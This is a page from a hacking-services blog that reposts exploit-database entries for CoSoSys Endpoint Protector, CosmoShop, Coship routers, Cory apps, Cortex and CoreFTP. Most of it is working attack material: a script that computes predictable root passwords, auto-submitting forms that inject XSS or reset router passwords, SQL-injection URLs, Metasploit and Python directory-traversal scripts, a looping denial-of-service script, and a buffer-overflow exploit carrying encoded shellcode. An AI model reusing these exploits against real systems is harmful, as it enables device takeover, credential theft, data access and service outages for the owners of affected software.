Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863144949

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/55570/info

CoSoSys Endpoint Protector is prone to an insecure password generation vulnerability.

Successfully exploiting this issue may allow an attacker to guess generated passwords and gain access to affected appliances.

CoSoSys Endpoint Protector 4 is vulnerable; other versions may also be affected. 

function Get-EPPPassword {
<#
.Synopsis

 Get-EPPPassword calculates the predictable root password for Cososys Endpoint Protector 4 servers.
 Author: Chris Campbell (@obscuresec)
 License: BSD 3-Clause
 
.Description

 Get-EPPPassword Timeline: 
  discovered            3 Mar 2012
  reported to vendor   12 Jun 2012
  reported to US-CERT  15 Jul 2012
  released             17 Sep 2012
    
.Example

 Get-EPPPassword -Serial 123456789

.Link

 http://obscuresecurity.blogspot.com/2012/09/cososys-predicable-password-cve-2012.html
#>

Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Serial)

#function to calculate sums from serial number 
function GetSerialSum {
 if ($Serial.Length -ne 9) {
        Return "EPP Serial Number is 9 digits"
    } 
    else {
 #convert $serial to an array of integers 
  [int[]] $SerialArray = [char[]]$Serial| ForEach-Object {[int]"$_"}
   }
 foreach ($Number in $SerialArray) {
            $Sum += $Number
            }
 Write-Output $Sum
}

#function to calculate epproot password
function GetPassword {
 Write-Output "eroot!00$Sums`RO"
 }
$Sums = GetSerialSum
GetPassword
}

Get-EPPPassword -Serial 135792468
HireHackking 
source: https://www.securityfocus.com/bid/46828/info

CosmoShop is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CosmoShop ePRO V10.05.00 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/admin/index.cgi?action=menu&id=eco'+SQL_CODE&hId=eco

<form action="http://www.example.com/cgi-bin/admin/edit_startseitentext.cgi" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="action" value="save">
<input type="hidden" name="use_wwe" value="1">
<input type="hidden" name="file-de" value="startseitentext_de.txt">
<input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>

http://www.example.com/cgi-bin/admin/rubrikadmin.cgi?action=edit&rubnum=angebote&rcopy="><script>alert(document.cookie)</script>&expand=,angebote

http://www.example.com/cgi-bin/admin/artikeladmin.cgi?action=artikelsuche&typ=bearbeiten"><script>alert(document.cookie)</script>&hId=daten.artikel

http://www.example.com/cgi-bin/admin/shophilfe_suche.cgi?sprache=de&suchbegriff=1"><script>alert(document.cookie)</script>


<form action="http://www.example.com/cgi-bin/admin/setup_edit.cgi" method="post" name="main">

<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="hId" value="setup.einstellungen.allgemein">
<input type="hidden" name="setup_key" value="allgemein">
<input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x">
<input type="hidden" name="shopbetreiber" value="email@example.com">
<input type="hidden" name="shop_bestellempfaenger" value="email@example.com">
<input type="hidden" name="anfrage_mail" value="email@example.com">
<input type="hidden" name="shop_umstid" value="DE12345678">
<input type="hidden" name="shop_eg" value="1">
<input type="hidden" name="auftragszaehler" value="1">
<input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'>
<input type="hidden" name="nebenwaehrung" value="$">
<input type="hidden" name="eurofaktor" value="0.7">
<input type="hidden" name="mindestpreisdm" value="10">
<input type="hidden" name="emis_bestellempfaenger" value="">
<input type="hidden" name="afs_bestellempfaenger" value="">
<input type="hidden" name="ean_in_ausf" value="1">
<input type="hidden" name="google_verify_code" value="">
<input type="hidden" name="save_it" value="abspeichern">

</form>
<script>
document.main.submit();
</script>
HireHackking 
# Exploit Title: Coship Wireless Router – Wireless SSID Unauthenticated Password Reset
# Date: 07.02.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (WiFi Router)
# Affected Versions *: *Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-7564

#POC :

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on “Submit request”
# The password of the Wireless SSID will be changed to "password"

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/regx/wireless/wl_security_2G.asp
<http://router-ip/regx/wireless/wl_security_2G.asp>" method="POST">
      <input type="hidden" name="wl&#95;wep" value="disabled" />
      <input type="hidden" name="wl&#95;auth&#95;mode" value="none" />
      <input type="hidden" name="page" value="wl&#95;security&#95;2G&#46;asp" />
      <input type="hidden" name="wl&#95;unit" value="0" />
      <input type="hidden" name="action" value="Apply" />
      <input type="hidden" name="wl&#95;auth" value="0" />
      <input type="hidden" name="wl&#95;akm" value="psk&#32;psk2" />
      <input type="hidden" name="wl&#95;crypto" value="tkip&#43;aes" />
      <input type="hidden" name="wl&#95;wpa&#95;gtk&#95;rekey" value="0" />
      <input type="hidden" name="wl&#95;wpa&#95;psk" value="password" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
<!--
# Exploit Title: Coship Wireless Router – Unauthenticated Admin Password Reset
# Date: 15.01.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Affected Versions : Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-6441

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on “Submit request”
# Password of the admin will now be changed as "password123"

# PoC :
-->

<html>
  <!-- Change the X.X.X.X with the router's IP address -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/apply.cgi" method="POST">
      <input type="hidden" name="page" value="regx/management/accounts.asp" />
      <input type="hidden" name="http_username" value="admin" />
      <input type="hidden" name="http_passwd" value="password123" />
      <input type="hidden" name="usr_confirm_password" value="password123" />
      <input type="hidden" name="action" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
######################################################################################
# Exploit Title: Coship RT3052 Wireless Router - Persistent Cross Site Scripting (XSS)
# Date: 2018-03-18
# Exploit Author: Sayan Chatterjee
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Version: 4.0.0.48
# Tested on: Windows 10
# CVE: CVE-2018-8772
#######################################################################################
 
Proof of Concept
=================
URL: http://192.168.1.254 (Wifi Router Gateway)
Attack Vector : Network Name(SSID)
Payload : <script>alert("S@Y@N")</script>
 
Reproduction Steps:
------------------------------
1. Access the wifi router gateway [i.e, http://192.168.1.254]
2. Go to "Wireless Setting" -> "Basic"
3. Update "Network Name(SSID)" field with '<script>alert("S@Y@N")</script>'
4. Save the settings.
5. Go to "System Status" and you will be having "S@Y@N" popup.

#######################################################################################
HireHackking 
# Exploit   : Cory Support (pr) SQL Injection Vulnerability
# Author    : v3n0m
# Contact   : v3n0m[at]outlook[dot]com
# Date      : September, 06-2017 GMT +7:00 Jakarta, Indonesia
# Developer : Cory App
# Software  : Cory Support
# App Link  : http://coryapp.com/?product&index
# Demo      : http://coryapp.com/demo/support/
# Tested On : Mac OS Sierra v10.12.6
# Credits   : YOGYACARDERLINK, Dhea Dayanaya Fathin Karima, Don't Touch Me (Line Group) & Muhammad Panji, Alfath Dirk, Cafe BMW & YOU !!
 
1. Description
 
An attacker can exploit this vulnerability to read from the database.
The parameter 'pr' is vulnerable.
 
 
2. Proof of Concept
 
http://domain.tld/[path]/listfaq.php?pr=9999+and+1=2+union+all+select+null,version()--
 
# Exploitation via SQLMap
 
Parameter: pr (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pr=1 AND 4809=4809
    Vector: AND [INFERENCE]

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: pr=1 UNION ALL SELECT NULL,CONCAT(0x7170706271,0x564f724b4475754c4c7a48714c59464c6c43704a636c6f72444471767a79716a6b6d4d6a72654b76,0x7170626b71)-- RNyi
    Vector:  UNION ALL SELECT NULL,[QUERY][GENERIC_SQL_COMMENT]
 
 
3. Security Risk
 
The security risk of the remote sql-injection web vulnerability in the Cory Support is estimated as high.
HireHackking 
source: https://www.securityfocus.com/bid/65969/info

Cory Jobs Search is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Cory Jobs Search 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/coryapps/jobsearch/admincp/city.php?cid=[MySQL Injection]
HireHackking 
# Exploit Title: Cortex Unshortenlink Analyzer < 1.1 - Server-Side Request Forgery
# Date: 2/26/2019
# Exploit Author: Alexandre Basquin
# Vendor Homepage: https://blog.thehive-project.org
# Software Link: https://github.com/TheHive-Project/Cortex
# Version: Cortex <= 2.1.3
# Tested on: 2.1.3
# CVE : CVE-2019-7652

# Exploit description

The "UnshortenLink_1_0" analyzer used by Cortex contains an SSRF vulnerability 


POC:

1. Create a new analysis

2. Select Data Type "URL"

3. Put your SSRF payload in the Data parameter (e.g. "http://127.0.0.1:22")

4. Result can be seen in the main dashboard.


Reported to TheHive Project by Alexandre Basquin on 1/24/2019

The issue has been fixed in UnshortenLink 1.1 released within Cortex-analyzers 1.15.2

References:

https://blog.thehive-project.org/2019/02/11/unshortenlink-ssrf-and-cortex-analyzers-1-15-2/
HireHackking 
source: https://www.securityfocus.com/bid/56334/info

CorePlayer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CorePlayer 4.0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/core_player.swf?callback=alert(document.cookie)
HireHackking 
# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
HireHackking 
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9648' ],
           [ 'BID', '107446' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the SIZE command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the filesize:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end
HireHackking 
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below MDTM Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last mofidied date.},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9649' ],
           [ 'BID', '107449' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the MDTM command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the last modified date for the file:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end
HireHackking 
#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-13
#Vendor Homepage: http://www.coreftp.com/
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe
#Tested Version: v2-Build 673
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py
#2.- Open core_code.txt and copy content to clipboard
#3.- Open Core FTP Server
#4.- Select "Setup" > "New"
#5.- Select "Domain Name" and Put "Test"
#6.- Select "Domain IP/Address" and Put "1.1.1.1" 
#7.- Select "Base directory" and Choose a directory path
#8.- Enable "WinNT users" 
#9.- Select "User domain" and Paste Clipboard
#10.- Click on "Ok" and the next window click "Ok"
#11.- Crashed

cod = "\x41" * 7000

f = open('core_code.txt', 'w')
f.write(cod)
f.close()
HireHackking 
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  SIZE Directory Traversal
# Google Dork: N/A
# Date: 4/27/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9648


#!/usr/bin/python

import socket
import sys

########################################################
###########Set Variables For Script Here################

file_to_look_for = "nslookup.exe"
local_disk_drive = " C:"
path_traversal = "\..\..\..\..\..\Windows\System32\\"

########################################################
print ("""
         #####  #     # #######        #####    ###     #    #####         #####   #####  #        #####
         #     # #     # #             #     #  #   #   ##   #     #       #     # #     # #    #  #     #
         #       #     # #                   # #     # # #   #     #       #     # #       #    #  #     #
         #       #     # #####   #####  #####  #     #   #    ###### #####  ###### ######  #    #   #####
         #        #   #  #             #       #     #   #         #             # #     # ####### #     #
         #     #   # #   #             #        #   #    #   #     #       #     # #     #      #  #     #
          #####     #    #######       #######   ###   #####  #####         #####   #####       #   #####

          #######
          #       #    # #####  #       ####  # #####
          #        #  #  #    # #      #    # #   #
          #####     ##   #    # #      #    # #   #
          #         ##   #####  #      #    # #   #
          #        #  #  #      #      #    # #   #
          ####### #    # #      ######  ####  #   #

          #     #                                       ######         #     #    #
          #  #  # #####  # ##### ##### ###### #    #    #     # #   # ###    #   #  ###### #    # # #    #
          #  #  # #    # #   #     #   #      ##   #    #     #  # #   #     #  #   #      #    # # ##   #
          #  #  # #    # #   #     #   #####  # #  #    ######    #          ###    #####  #    # # # #  #
          #  #  # #####  #   #     #   #      #  # #    #     #   #    #     #  #   #      #    # # #  # #
          #  #  # #   #  #   #     #   #      #   ##    #     #   #   ###    #   #  #       #  #  # #   ##
           ## ##  #    # #   #     #   ###### #    #    ######    #    #     #    # ######   ##   # #    #

           ######
           #     #   ##   #    # #####    ##   #      #
           #     #  #  #  ##   # #    #  #  #  #      #
           ######  #    # # #  # #    # #    # #      #
           #   #   ###### #  # # #    # ###### #      #
           #    #  #    # #   ## #    # #    # #      #
           #     # #    # #    # #####  #    # ###### ######

           """)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.0.4',21))

s.recv(1024)
s.send('USER anonymous\r\n')

s.recv(1024)
s.send('PASS anonymous\r\n')

s.recv(1024)
s.recv(1024)
s.send('SIZE' +local_disk_drive+path_traversal+file_to_look_for + '\r\n')
result = s.recv(2048)
trimmedoutput = result.strip()
splitoutput = trimmedoutput.split(' ')
realresult = unicode (trimmedoutput,'utf-8')
realresult2 = unicode (splitoutput[1],'utf-8')
isnum = realresult.isnumeric()
isnum2 = realresult2.isnumeric()
if isnum2:
    print "The file " + file_to_look_for + " exist on the remote server. Here is the filesize:" + splitoutput[1]
else:
    print "The file " + file_to_look_for + " does not exist on the remote server or one of the variables declared is incorrect."

s.send('QUIT\r\n')

s.close
HireHackking 
# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  MDTM Directory Traversal
# Google Dork: N/A
# Date: 3/13/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9649

*Vendor has confirmed vulnerability and implemented an updated version*

Summary: Summary: By utilizing a directory traversal along with the FTP MDTM command, an attacker can browse outside the root directory to determine if a file exists based on return file size along with the date the file was last modified by using a ..\..\ technique
Tools used:
Parrot OS VM
Windows 7 VM
FTP / SFTP Server v2 - Build 674
Netcat

Proof of Concept (PoC):

File 1: ARP.exe
Type of file: Application(.EXE)
Description: TCP/IP Arp Command
Location: C:\Windows\System32\
Size: 20.5 KB (20,992 bytes)
Size on disk: 24.0 KB (24,576 bytes)
Created: Monday July 13, 2009 7:55:11 PM
Modified: Monday July 13, 2009, 9:14:12 PM
Accessed: Monday July 13, 2009 7:55:11 PM

#nc -nv 192.168.0.2 21
(UNKNOWN) [192.168.0.2] 21 (ftp) open
220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago Unregistered
USER anonymous
331 password required for anonymous
PASS anonymous@
230-Logged on
230
MDTM C:\..\..\..\..\..\..\Windows\System32\ARP.exe
213 20090713211412
HireHackking 
# -*- coding: cp1252 -*-
# Exploit Title: Core FTP Server 32-bit - Build 587 Heap Overflow
# Date: 05/10/2016
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: http://www.coreftp.com/
# Vulnerable Version Download:  http://coreftp.com/server/download/archive/CoreFTPServer587.exe
# Version: Core FTP Server 32-bit - Build 587 32-bit
# Tested on: Windows XP SP3 x32 English, Windows 7 Pro x64 SP1 English, Windows 10 Pro x64 English
# Category: Remote Heap Overflow PoC
#
# Timeline: 03/03/16 Bug found
#           03/04/16 Vender notified
#           03/06/16 Vender replied acknowledging the issue
#           04/07/16 Vender releases Build 588 which fixes the issue.
#           05/10/16 Exploit Released
#
# Summary:  This exploit allows for a post authentication DOS.  The server does not do proper bounds checking on
#           server responses.  In this case, the long 'MODE set to ...' reply invoked by a long TYPE command
#           causes a heap overflow and crashes the server process.
#
#           Crash info:
#
#           0133FA2C  32 30 30 20 4D 4F 44 45  200 MODE
#           0133FA34  20 73 65 74 20 74 6F 20   set to
#           0133FA3C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA44  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA4C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA54  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA5C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA64  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA6C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA74  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA7C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA84  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA8C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA94  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA9C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAA4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAAC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAB4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FABC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAC4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FACC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAD4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FADC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAE4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAEC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAF4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAFC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB04  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB0C  58 02 00 00 8E EB 31 57  X..Žë1W
#
#           00439827   . 8B86 3C040000  MOV EAX,DWORD PTR DS:[ESI+43C]           ;  ESI invalid address: DS:[4141457D]=???
#           0043982D   . 85C0           TEST EAX,EAX
#
#           DS:[4141457D]=???
#           EAX=00000000
#
#           EAX 00000000
#           ECX 00000000
#           EDX 00000001
#           EBX 01141B90
#           ESP 0142C06C
#           EBP 0143FB3C
#           ESI 41414141
#           EDI 00000000
#           EIP 00439827 coresrvr.00439827
#           C 1  ES 0023 32bit 0(FFFFFFFF)
#           P 1  CS 001B 32bit 0(FFFFFFFF)
#           A 1  SS 0023 32bit 0(FFFFFFFF)
#           Z 0  DS 0023 32bit 0(FFFFFFFF)
#           S 1  FS 003B 32bit 7FFD8000(FFF)
#           T 1  GS 0000 NULL
#           D 0
#           O 0  LastErr ERROR_SUCCESS (00000000)
#           EFL 00000397 (NO,B,NE,BE,S,PE,L,LE)
#           ST0 empty
#           ST1 empty
#           ST2 empty
#           ST3 empty
#           ST4 empty
#           ST5 empty
#           ST6 empty
#           ST7 empty
#                          3 2 1 0      E S P U O Z D I
#           FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
#           FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

import time
import socket
from ftplib import FTP

host='yourhost'             #host or IP
port=21                     #port
u="youruser"                #username
p="yourpass"                #password
pause=3                     #pause between login & command attempts, normally 3 seconds is plenty of time.
command="TYPE "
evil="A"*211                #Any more, and the program warns of buffer overflow attempt and ignores the command
evilTYPE=(command+evil)     #Evil type command

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()

if (open == 0):
    print "FTP is up, lets fix that..."
    while (open != 10061):
        print "Connecting to send evil TYPE command..."
        ftp = FTP()
        ftp.connect(host,port)
        ftp.login(u,p)
        ftp.sendcmd(evilTYPE)
        ftp.close()
        time.sleep(pause)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        open = sock.connect_ex((host,port))
        sock.close()
    print "No more files for you!"
else:
    print "Port "+str(port)+" does not seem to be open on "+host
HireHackking 
#-*- coding: utf-8 -*-
#
# Exploit Title : Core FTP Server v1.2 - BufferOverflow POC
# Date: 2016-02-22
# Author: INSECT.B
#   Facebook : https://www.facebook.com/B.INSECT00
#	GitHub : binsect00
#   Blog : http://binsect00.tistory.com
# Vendor Homepage : http://www.coreftp.com/
# Software Link: 
# Version: 1.2
# Tested on: Windows7 Professional SP1 En x86 
# CVE : N/A
  
'''
[+] Type : Buffer overflow
[+] Detail : 
[-]  The vulnerability has the most typical Buffer overflow vulnerabilities. 
[-]  Insert string into 'Log filename(include path)' field that [setup] - [new] - [Logging options] - [More] 
[-]  'Log filename(include path)' field is no limit to the length and does not check the length
[-]  Insert string "A"*1500 and press Ok, OK
[-] crash info
(3bc.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000111 ecx=41414141 edx=0012a3d9 esi=00502438 edi=00000001
eip=41414141 esp=00129bf0 ebp=00129bf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
'''
import struct

junk = "A" * 312
EIP = struct.pack("<L",0x7795163b)  # USER32!gSharedInfo+0x181fb:
									# 7795163b ffe4            jmp     esp
nop = "\x90" * 10

#windows/exec calc.exe
#encode : alpha_mixed
sehll = (
"\x89\xe5\xdb\xde\xd9\x75\xf4\x59\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x59\x6c\x68\x68\x6f\x72\x67\x70\x77\x70\x47" +
"\x70\x75\x30\x6f\x79\x4a\x45\x44\x71\x49\x50\x30\x64\x6c" +
"\x4b\x56\x30\x34\x70\x4e\x6b\x61\x42\x56\x6c\x6c\x4b\x71" +
"\x42\x77\x64\x4c\x4b\x32\x52\x67\x58\x76\x6f\x6c\x77\x71" +
"\x5a\x31\x36\x65\x61\x49\x6f\x4e\x4c\x67\x4c\x53\x51\x61" +
"\x6c\x37\x72\x44\x6c\x47\x50\x4f\x31\x38\x4f\x54\x4d\x36" +
"\x61\x58\x47\x58\x62\x69\x62\x46\x32\x51\x47\x6c\x4b\x61" +
"\x42\x46\x70\x6c\x4b\x52\x6a\x75\x6c\x6e\x6b\x42\x6c\x34" +
"\x51\x30\x78\x79\x73\x72\x68\x65\x51\x7a\x71\x30\x51\x6c" +
"\x4b\x53\x69\x57\x50\x43\x31\x58\x53\x4c\x4b\x62\x69\x76" +
"\x78\x58\x63\x75\x6a\x37\x39\x4c\x4b\x75\x64\x6c\x4b\x36" +
"\x61\x4e\x36\x54\x71\x69\x6f\x6e\x4c\x5a\x61\x5a\x6f\x54" +
"\x4d\x43\x31\x58\x47\x45\x68\x59\x70\x32\x55\x4b\x46\x64" +
"\x43\x51\x6d\x58\x78\x45\x6b\x31\x6d\x55\x74\x50\x75\x48" +
"\x64\x42\x78\x6c\x4b\x32\x78\x77\x54\x67\x71\x38\x53\x63" +
"\x56\x4c\x4b\x66\x6c\x62\x6b\x6e\x6b\x52\x78\x35\x4c\x63" +
"\x31\x68\x53\x6e\x6b\x45\x54\x4c\x4b\x46\x61\x5a\x70\x6c" +
"\x49\x47\x34\x65\x74\x31\x34\x61\x4b\x31\x4b\x75\x31\x43" +
"\x69\x52\x7a\x36\x31\x6b\x4f\x59\x70\x73\x6f\x63\x6f\x32" +
"\x7a\x4c\x4b\x45\x42\x78\x6b\x6e\x6d\x43\x6d\x31\x7a\x63" +
"\x31\x6c\x4d\x6c\x45\x4e\x52\x75\x50\x77\x70\x47\x70\x50" +
"\x50\x63\x58\x66\x51\x4e\x6b\x62\x4f\x6b\x37\x6b\x4f\x7a" +
"\x75\x6f\x4b\x4c\x30\x68\x35\x6f\x52\x61\x46\x43\x58\x69" +
"\x36\x7a\x35\x4d\x6d\x4f\x6d\x69\x6f\x68\x55\x65\x6c\x56" +
"\x66\x33\x4c\x37\x7a\x4d\x50\x49\x6b\x79\x70\x51\x65\x37" +
"\x75\x4f\x4b\x31\x57\x75\x43\x61\x62\x70\x6f\x73\x5a\x73" +
"\x30\x46\x33\x39\x6f\x6a\x75\x70\x63\x45\x31\x42\x4c\x63" +
"\x53\x74\x6e\x71\x75\x31\x68\x73\x55\x57\x70\x41\x41"
)
payload = junk + EIP + nop + sehll

with open("CoreFTPServer_Ex.txt","wb") as f :
	f.write(payload)
HireHackking 
